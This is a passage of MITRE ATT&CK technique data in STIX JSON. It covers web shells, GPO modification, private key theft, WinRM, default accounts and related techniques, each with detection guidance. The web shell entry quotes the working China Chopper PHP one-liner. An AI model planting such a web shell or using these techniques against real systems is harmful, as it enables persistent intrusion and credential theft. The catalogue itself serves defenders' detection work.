                    "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A"
                }
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            "modified": "2025-04-15T19:58:34.688Z",
            "name": "Web Shell",
            "description": "Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to access the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW)\n\nIn addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013)",
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                    "phase_name": "persistence"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) \n\n<code>&lt;?php @eval($_POST['password']);&gt;</code>\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)\n\nFile monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells)\n\nLog authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_data_sources": [
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                "File: File Creation",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1484/001",
                    "external_id": "T1484.001"
                },
                {
                    "source_name": "Mandiant M Trends 2016",
                    "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20211024160454/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf"
                },
                {
                    "source_name": "ADSecurity GPO Persistence 2016",
                    "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.",
                    "url": "https://adsecurity.org/?p=2716"
                },
                {
                    "source_name": "Microsoft Hacking Team Breach",
                    "description": "Microsoft Secure Team. (2016, June 1). Hacking Team Breach: A Cyber Jurassic Park. Retrieved March 5, 2019.",
                    "url": "https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/"
                },
                {
                    "source_name": "Wald0 Guide to GPOs",
                    "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.",
                    "url": "https://wald0.com/?p=179"
                },
                {
                    "source_name": "Harmj0y Abusing GPO Permissions",
                    "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved September 23, 2024.",
                    "url": "https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/"
                },
                {
                    "source_name": "Harmj0y SeEnableDelegationPrivilege Right",
                    "description": "Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved September 23, 2024.",
                    "url": "https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/"
                },
                {
                    "source_name": "TechNet Group Policy Basics",
                    "description": "srachui. (2012, February 13). Group Policy Basics \u2013 Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.",
                    "url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/"
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            "modified": "2025-04-15T19:58:34.774Z",
            "name": "Group Policy Modification",
            "description": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002),  and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as <code>New-GPOImmediateTask</code> can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <code>&lt;GPO_PATH&gt;\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml</code>.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <code>&lt;GPO_PATH&gt;\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf</code>, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Itamar Mizrahi, Cymptom",
                "Tristan Bennett, Seamless Intelligence"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:\n\n* Event ID 5136 - A directory service object was modified\n* Event ID 5137 - A directory service object was created\n* Event ID 5138 - A directory service object was undeleted\n* Event ID 5139 - A directory service object was moved\n* Event ID 5141 - A directory service object was deleted\n\n\nGPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Active Directory: Active Directory Object Creation",
                "Active Directory: Active Directory Object Modification",
                "Active Directory: Active Directory Object Deletion"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1217",
                    "external_id": "T1217"
                },
                {
                    "source_name": "Chrome Roaming Profiles",
                    "description": "Chrome Enterprise and Education Help. (n.d.). Use Chrome Browser with Roaming User Profiles. Retrieved March 28, 2023.",
                    "url": "https://support.google.com/chrome/a/answer/7349337"
                },
                {
                    "source_name": "Kaspersky Autofill",
                    "description": "Golubev, S. (n.d.). How malware steals autofill data from browsers. Retrieved March 28, 2023.",
                    "url": "https://www.kaspersky.com/blog/browser-data-theft/27871/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T21:54:16.719Z",
            "name": "Browser Information Discovery",
            "description": "Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.(Citation: Kaspersky Autofill)\n\nBrowser information may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).(Citation: Chrome Roaming Profiles)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Mike Kemmerer",
                "Manikantan Srinivasan, NEC Corporation India",
                "Yinon Engelsman, Talon Cyber Security",
                "Yonatan Gotlib, Talon Cyber Security"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Access"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf",
            "created": "2020-02-04T13:06:49.258Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1552/004",
                    "external_id": "T1552.004"
                },
                {
                    "source_name": "Palo Alto Prince of Persia",
                    "description": "Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia \u2013 Game Over. Retrieved July 5, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/"
                },
                {
                    "source_name": "cisco_deploy_rsa_keys",
                    "description": "Cisco. (2023, February 17). Chapter: Deploying RSA Keys Within a PKI . Retrieved March 27, 2023.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/sec_conn_pki/configuration/xe-17/sec-pki-xe-17-book/sec-deploy-rsa-pki.html#GUID-1CB802D8-9DE3-447F-BECE-CF22F5E11436"
                },
                {
                    "source_name": "AADInternals Azure AD Device Identities",
                    "description": "Dr. Nestori Syynimaa. (2022, February 15). Stealing and faking Azure AD device identities. Retrieved February 21, 2023.",
                    "url": "https://aadinternals.com/post/deviceidentity/"
                },
                {
                    "source_name": "Kaspersky Careto",
                    "description": "Kaspersky Labs. (2014, February 11). Unveiling \u201cCareto\u201d - The Masked APT. Retrieved July 5, 2017.",
                    "url": "https://web.archive.org/web/20141031134104/http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf"
                },
                {
                    "source_name": "Microsoft Primary Refresh Token",
                    "description": "Microsoft. (2022, September 9). What is a Primary Refresh Token?. Retrieved February 21, 2023.",
                    "url": "https://learn.microsoft.com/en-us/azure/active-directory/devices/concept-primary-refresh-token"
                },
                {
                    "source_name": "Wikipedia Public Key Crypto",
                    "description": "Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Public-key_cryptography"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:35.201Z",
            "name": "Private Keys",
            "description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:&#92;Users&#92;(username)&#92;.ssh&#92;</code> on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\n\nWhen a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device\u2019s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\n\nOn network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) \n\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Itzik Kotler, SafeBreach",
                "Austin Clark, @c2defense"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication. For network infrastructure devices, collect AAA logging to monitor for private keys being exported.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Access"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337",
            "created": "2020-10-01T00:48:09.578Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1583/004",
                    "external_id": "T1583.004"
                },
                {
                    "source_name": "Freejacked",
                    "description": "Clark, Michael. (2023, August 14). Google\u2019s Vertex AI Platform Gets Freejacked. Retrieved February 28, 2024.",
                    "url": "https://sysdig.com/blog/googles-vertex-ai-platform-freejacked/"
                },
                {
                    "source_name": "Free Trial PurpleUrchin",
                    "description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.",
                    "url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"
                },
                {
                    "source_name": "Koczwara Beacon Hunting Sep 2021",
                    "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
                    "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
                },
                {
                    "source_name": "Mandiant SCANdalous Jul 2020",
                    "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
                },
                {
                    "source_name": "NYTStuxnet",
                    "description": "William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.",
                    "url": "https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:05:58.721Z",
            "name": "Server",
            "description": "Adversaries may buy, lease, rent, or obtain physical servers\u00a0that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, such as watering hole operations in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), enabling [Phishing](https://attack.mitre.org/techniques/T1566) operations, or facilitating [Command and Control](https://attack.mitre.org/tactics/TA0011). Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations. Free trial periods of cloud servers may also be abused.(Citation: Free Trial PurpleUrchin)(Citation: Freejacked) \n\nAdversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Dor Edry, Microsoft"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Internet Scan: Response Metadata",
                "Internet Scan: Response Content"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65",
            "created": "2020-02-11T18:29:47.757Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1021/006",
                    "external_id": "T1021.006"
                },
                {
                    "source_name": "Medium Detecting Lateral Movement",
                    "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc"
                },
                {
                    "source_name": "Jacobsen 2014",
                    "description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell&#91;slides&#93;. Retrieved November 12, 2014.",
                    "url": "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2"
                },
                {
                    "source_name": "MSDN WMI",
                    "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx"
                },
                {
                    "source_name": "Microsoft WinRM",
                    "description": "Microsoft. (n.d.). Windows Remote Management. Retrieved September 12, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/winrm/portal"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:22:03.699Z",
            "name": "Windows Remote Management",
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\n\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM  can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior.  Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) Also monitor for remote WMI connection attempts (typically over port 5985 when using HTTP and 5986 for HTTPS).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Logon Session: Logon Session Creation",
                "Network Traffic: Network Connection Creation",
                "Command: Command Execution",
                "Network Traffic: Network Traffic Flow",
                "Service: Service Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd",
            "created": "2020-03-09T17:07:57.392Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1011/001",
                    "external_id": "T1011.001"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:35.466Z",
            "name": "Exfiltration Over Bluetooth",
            "description": "Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.\n\nAdversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\n\nMonitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Command: Command Execution",
                "File: File Access",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Connection Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d",
            "created": "2020-03-13T20:15:31.974Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1078/001",
                    "external_id": "T1078.001"
                },
                {
                    "source_name": "Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023",
                    "description": "Alexander Marvi, Brad Slaybaugh, Ron Craft, and Rufus Brown. (2023, June 13). VMware ESXi Zero-Day Used by Chinese Espionage Actor to Perform Privileged Guest Operations on Compromised Hypervisors. Retrieved March 26, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/vmware-esxi-zero-day-bypass/"
                },
                {
                    "source_name": "AWS Root User",
                    "description": "Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.",
                    "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html"
                },
                {
                    "source_name": "Microsoft Local Accounts Feb 2019",
                    "description": "Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts"
                },
                {
                    "source_name": "Metasploit SSH Module",
                    "description": "undefined. (n.d.). Retrieved April 12, 2019.",
                    "url": "https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh"
                },
                {
                    "source_name": "Threat Matrix for Kubernetes",
                    "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/"
                },
                {
                    "source_name": "Pentera vCenter Information Disclosure",
                    "description": "Yuval Lazar. (2022, March 29). Mitigating VMware vCenter Information Disclosure. Retrieved March 26, 2025.",
                    "url": "https://pentera.io/blog/information-disclosure-in-vmware-vcenter/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:35.610Z",
            "name": "Default Accounts",
            "description": "Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS, the root user account in ESXi, and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines; rather, they also include accounts that are preset for equipment such as network devices and computer applications, whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)\n\nDefault accounts may be created on a system after initial setup by connecting or integrating it with another application. For example, when an ESXi server is connected to a vCenter server, a default privileged account called `vpxuser` is created on the ESXi server. If a threat actor is able to compromise this account\u2019s credentials (for example, via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212) on the vCenter host), they will then have access to the ESXi server.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023)(Citation: Pentera vCenter Information Disclosure)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
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                    "phase_name": "initial-access"
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            "x_mitre_contributors": [
                "Janantha Marasinghe"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Containers",
                "Network Devices",
                "Office Suite",
                "Identity Provider",
                "ESXi"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation",
                "User Account: User Account Authentication"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc",
            "created": "2020-01-24T15:51:52.317Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1547/003",
                    "external_id": "T1547.003"
                },
                {
                    "source_name": "Github W32Time Oct 2017",
                    "description": "Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.",
                    "url": "https://github.com/scottlundgren/w32time"
                },
                {
                    "source_name": "Microsoft W32Time May 2017",
                    "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.",
                    "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings"
                },
                {
